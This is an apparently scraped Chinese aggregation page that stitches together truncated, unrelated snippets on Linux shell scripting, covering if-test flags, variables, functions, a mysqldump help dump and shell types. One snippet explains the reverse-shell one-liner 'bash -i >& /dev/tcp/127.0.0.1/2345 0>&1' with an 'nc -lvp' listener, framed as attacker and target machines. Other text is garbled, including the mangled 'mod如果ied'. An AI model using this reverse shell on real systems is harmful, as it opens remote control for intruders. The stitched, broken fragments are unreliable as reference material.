2017年开始了,新的开始新的起点,公众号也要迎来新的内容了——Linux相关项。...作为通信行业的从业者,我们不仅要分析各种节点信令,同时也需要掌握Linux的各种操作,包括系统的操作,命令的使用,还有linux下简单的shell编程来处理日常的任务(我们真是多才多艺呀)。...编程中我们会经常用到if-else条件判断来根据符合自己设定的条件之后执行不同的命令,自己在写shell的时候总也记不清怎么判断file是否存在、字符串是否为空等等,最近妞儿也偶尔接触简单shell会问及此内容...这几天根据自己的使用整理出来以下基本涵盖if中从-a到-z的所有参数,做一个记录也希望对有此需求的朋友有所帮助。...-z 判断字符串是否为空串即长度是否为0,空串则为真。 用法: if [ -z String ] 如下: -n 判断字符串是否为非空串即长度不为0,长度不为0则为真。
发表于2017-04-112019-01-01 作者 wind 下面我们一起来看一篇关于shell条件判断if中的-a到-z的意思,有需要了解的朋友不防进入参考参考. [ -a FILE ] 如果...[ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则为真。...[ -o OPTIONNAME ] 如果 shell选项 “OPTIONNAME” 开启则为真。 [ -z STRING ] “STRING” 的长度为零则为真。...[ -n STRING ] or [ STRING ] “STRING” 的长度为非零 non-zero则为真。 [ STRING1 == STRING2 ] 如果2个字符串相同。
添加以下代码,注意==不要包含gtest/gtest.h头文件==,若多包含可能会出现struct std::__cxx11::basic_stringbuf<...
什么是shell? shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器) 。它接收用户输入的命令并把它送入内核去执行。起着用户与系统之间进行交互的作用。 ?...shell的功能: 命令行解释 命令的多种执行顺序 通配符 命令补全、别名机制、命令历史 I/O重定向 管道 命令替换(` ` 或$( ) ) shell编程语言 shell可以执行——内部命令、外部命令...shell命令分为: 内部(内置)命令 内部命令是shell本身包含的一些命令,这些内部命令的代码是整个shell代码的一个组成部分; 内部命令的执行是shell通过执行自己的代码中的相应部分来完成的...外部(外置)命令 外部命令的代码则存放在一些二进制的可执行文件或者shell脚本中; 外部命令执行时,shell会在文件系统中指定的一些目录去搜索相应的文件,然后调入内存执行。...shell变量PATH中 ?
1 变量的分类 在Linux中,变量分为环境变量 和 局部变量。 环境变量能被子进程继承,而局部变量只能在当前进程中使用。...SHELL:当前使用的SHELL HISTSIZE:历史命令的最大条数 MAIL:当前用户的邮箱目录 PATH:可执行文件的查找路径。...的PID 可以通过如下命令查看当前shell的PID: echo $$ ?...2.3 取消变量 unset 变量名 3 环境变量 自定义变量相当于局部变量,只能在当前shell中使用;而环境变量相当于全局变量,可以在子shell中使用。...5 变量类型:declare/typeset Linux中的变量一共有5种类型,分别是:字符、整型、只读、环境变量。
背景介绍 总结记录几个shell小工具,都是很常用且很好用的东西. expect : 实现人机交互的一个命令行工具 ccat : linux 下上色版本的cat htop : 上色增强版本的top 软连接...交给用户来交互 中有多个常用的expect的示例.可以参考...在这个界面,可以使用f3搜索,f4过滤,具体操作 linux设置软连接 经过上面的第一个步骤,我们有了一个jump的脚本,但是每次都要去执行脚本也是一件非常麻烦的事情....Z 这个名字真的是简洁....这是一个快速管理你的cd命令的脚本.github仓库 基本实现就是: 你安装了z,之后你的cd会被记录到.z文件,然后当你想切换目录的时候,只需要z xx + tab即可. xx是你想去的目录的部分名字即可
[root@VM-24-3-centos blg]# mysqldump --help mysqldump Ver 10.13 Distrib 5.6.50, for Linux (x86_64)...-n, --no-create-db Suppress the CREATE DATABASE ......-N, --no-set-names Same as --skip-set-charset....in systems (e.g., DOS, Windows) that use carriage-return linefeed pairs (\r\n)...(No default value) enable-cleartext-plugin FALSE [root@VM-24-3-centos blg]# ---- 备份mysql的N种姿势
记录下shell的if判断条件里-z到-d的意思 条件 含义 [ -a FILE ] 如果 FILE 存在则为真。 [ -b FILE ] 如果 FILE 存在且是一个块特殊文件则为真。...[ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则为真。...[ -o OPTIONNAME ] 如果 shell选项 “OPTIONNAME” 开启则为真。 字符串判断 条件 含义 [ -z STRING ] “STRING” 的长度为零则为真。...[ -n STRING ] or [ STRING ] “STRING” 的长度为非零 non-zero则为真。
四、shell的if与c语言if的功能上的区别 shell if:0为真,接着走then。...= $b ] 如果a不等于b if [ -n $a ] 如果a非空(非0),返回0(true) if [ -z $a ] 如果a为空...同时由于shell里没有> 和< ,会被当作尖括号,整数条件表达式只有-ge, -gt,-le, lt。 5....STRING thelength of STRING isnonzero -n和直接$str都是非0条件 -z STRING ...用简化 if 和$1,$2,$3来检测参数,不合理就调用help [ -z “$1” ] &&help 如果第一个参数不存在(-z 字符串长度为0 ) [ “$1”
~/08.shell $ b=2 1.2 shell 变量的引用 在 shell 中,直接使用“$”符,即可引用变量的值;一般配合 echo 命令可以打印变量的值; (base) xiehs...16:23:21 ~/08.shell $ echo $a $b 1 2 (base) xiehs 16:23:57 ~/08.shell $ echo $a 1 (base) xiehs 16:23...(base) xiehs 16:24:01 ~/08.shell $ a=illumina (base) xiehs 16:24:23 ~/08.shell $ echo ${a}_1.fq.gz ${...[\e[34;1m\]\w\[\e[0m\]\n\[\e[31;1m\]$ \[\e[0m\] (base) xiehs 16:26:55 ~/08.shell $ echo $LANG en_US.UTF...2 ls -1 *.fq.gz | xargs -n 2 | while read {i,j};do echo $i,$j;done; # 生成脚本 ls -1 *.fq.gz | xargs -n
函数创建两种方式: function name { command; } name () { command; } 在shell中创建的variable...shell将function当做一个mini-script,因此可以用调用脚本的方式来调用函数,在函数中也可以用$1,$@等方式得到传的参数。...向function中传递array时会出现问题,需要单个传入,在函数中再包装成array,shell中的array不太好用。 函数默认的返回值是最后一条命令的exit code,可以用$?
Linux shell 1、shell的概念 1)shell是一个命令行解释器,它为用户提供了一个向linux内核发送请求以便运行程序界面的系统级程序。...shell是结核性的脚本语言,在我们 shell中可以直接调用linux系统命令。...最后就会得到我们想要的结果了 3、Linux中支持的shell环境 [root@java15 ~]# cat /etc/shells /bin/sh /bin/bash /sbin/nologin...号表示相反的意思) -z:字符串内容为空(长度为零)则为真 测试: [ "as" = "aa" ];echo $? [ "as" != "aa" ];echo $?...[ -z $a ];echo $?
接触过一些 shell 脚本,做服务端运维时也时常用到,是时候专门学习一下了。...%x %r %Z") 中 $() 告诉 shell 替换附带命令的执行结果,即插入 date+"%x %r %Z 的执行结果(当前时间)。...This older form is compatible with the original Bourne shell (sh)....) `command` 把命令执行结果赋值给变量: right_now=$(date +"%x %r %z") 常量 RIGHT_NOW=$(date +"%x %r %Z")TIME_STAMP="Updated.../bin/bash echo -n "Enter some text > "read textecho "You entered: $text" -n 使输入和字符串在同一行。
还是hello world程序 首先使用vim编辑器(或者是linux下任意的文本编辑器)编写文件helloshell.sh(没有必要使用.sh后缀名): #!...-n "select your os choice [1 or 2] ?"..." else echo "what you donot like unix/linux" fi fi #!.../bin/bash # # test while loop # n=$1 i=0 while [ $i -le 10 ] do echo "$n * $i = `expr $i \*... $n`" i=`expr $i + 1` done 4.6 case #!
2345bash -i:打开一个bash交互界面 >:重定向 /dev/tcp:调用建立一个socket连接 127.0.0.1:可以任意更改需要反弹到的IP地址 2345:反弹到的端口 上面的是一个典型的反弹shell...的语句,但是这种不能实时地在攻击机输入,攻击机输出,只能在靶机输入东西,然后在攻击机看到 image.png 攻击机使用 nc -lvp 2200监听反弹回来地shell,然后等靶机输入东西后,攻击机才能获取到内容...,攻击机不能传输命令 1.2second bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 这种就是交互式shell了 &:标准错误输出重定向输出 0>&1:简单一点理解就是将我们在攻击机输入的命令当成靶机输入...,然后靶机返回内容时又重定向攻击机,也就是交互界面,打开了一个shell窗口,随意可以在攻击机执行命令,然后在攻击机输出结果,这么一个意思 0:标准输入 1:标准输出 2:标准错误输出 &:是为了区分标准输出和文件描述符...2>&1 和上面的效果一样 1.4fourth bash -i >& /dev/tcp/127.0.0.1/2345 0>&1 值得一提的是,">&"相当于"2>&1",标准错误输出 一个标准的反弹shell
当然shell也是linux的解释器,本篇我们先来了解下这个解释器。 shell解释器 shell也叫壳,区别与操作系统内核。比如一个不同国家的人交流需要一个翻译官,那么shell就是这个翻译官。...shell是负责用户,负责接受用户的指令,解释并运行,将需要执行的操作给操作内核。 shell的常见种类 sh 由 Bourne shell 开发,为了纪念大佬,就用了他的名字命名了。...sh也是第一个流行的shell。 csh C shell 语法和C语言比较类似。 ksh 集合了 csh 和 sh 的优点,并且和sh兼容。...bash 与sh完全兼容,sh的的扩展版本,在sh上增加了新特性,补全命令,命令编辑器和历史命令等功能也是linux默认的shell。...linux默认的shell解释器 linux 默认的 shell 解释器是bash,在/bin目录下。
# Linux Shell编程 # 为什么要学习Shell编程 Linux运维工程师在进行服务器集群管理时,需要编写Shell程序来进行服务器管理。...对于大数据程序员来说,需要编写Shell程序来管理集群 # Shell是什么 Shell是一个命令行解释器,它为用户提供了一个向Linux内核发送请求以便运行程序的界面系统级程序,用户可以用Shell来启动...的变量 # Shell变量介绍 Linux Shell中的变量分为,系统变量和用户自定义变量。.../myshell.sh 100 200,这个就是一个执行shell的命令行,可以在myshell脚本中获取到参数信息 # 基本语法 n(功能描述:n为数字,0代表命令本身, 功能描述这个变量代表命令行中所有的参数...echo "和是=$SUM" } #输入两个值 read -p "请输入一个数n1=" n1 read -p "请输入一个数n2=" n2 # 调用自定义函数 getSum $n1 $n2 # Shell
Linux提供了像MicrosoftWindows那样的可视的命令输入界面--X Window的图形用户界面(GUI)。...每个Linux系统的用户可以拥有他自己的用户界面或Shell,用以满足他们自己专门的Shell需要。 同Linux本身一样,Shell也有多种不同的版本。...Korn Shell:是对Bourne SHell的发展,在大部分内容上与Bourne Shell兼容。 C Shell:是SUN公司Shell的BSD版本。 ...Z Shell:The last shell you’ll ever need! Z是最后一个字母,也就是终极Shell。它集成了bash、ksh的重要特性,同时又增加了自己独有的特性。...如下图:系统中的三种shell ================================================================ 在Linux系统中,我们要查看我们当前是使用哪种
# description: Starts and Stops the MapServer.
[ -N FILE ] 如果 FILE 存在 and has been mod如果ied since it was last read则为真。...[ -o OPTIONNAME ] 如果 shell选项 “OPTIONNAME” 开启则为真。 [ -z STRING ] “STRING” 的长度为零则为真。...[ -n STRING ] or [ STRING ] “STRING” 的长度为非零 non-zero则为真。 [ STRING1 == STRING2 ] 如果2个字符串相同。...[ -z “echo 111s|sed 's/[0-9]//g'” ] && echo 1 || echo 0 #把字符串中的数字都替换掉
领取专属 10元无门槛券
手把手带您无忧上云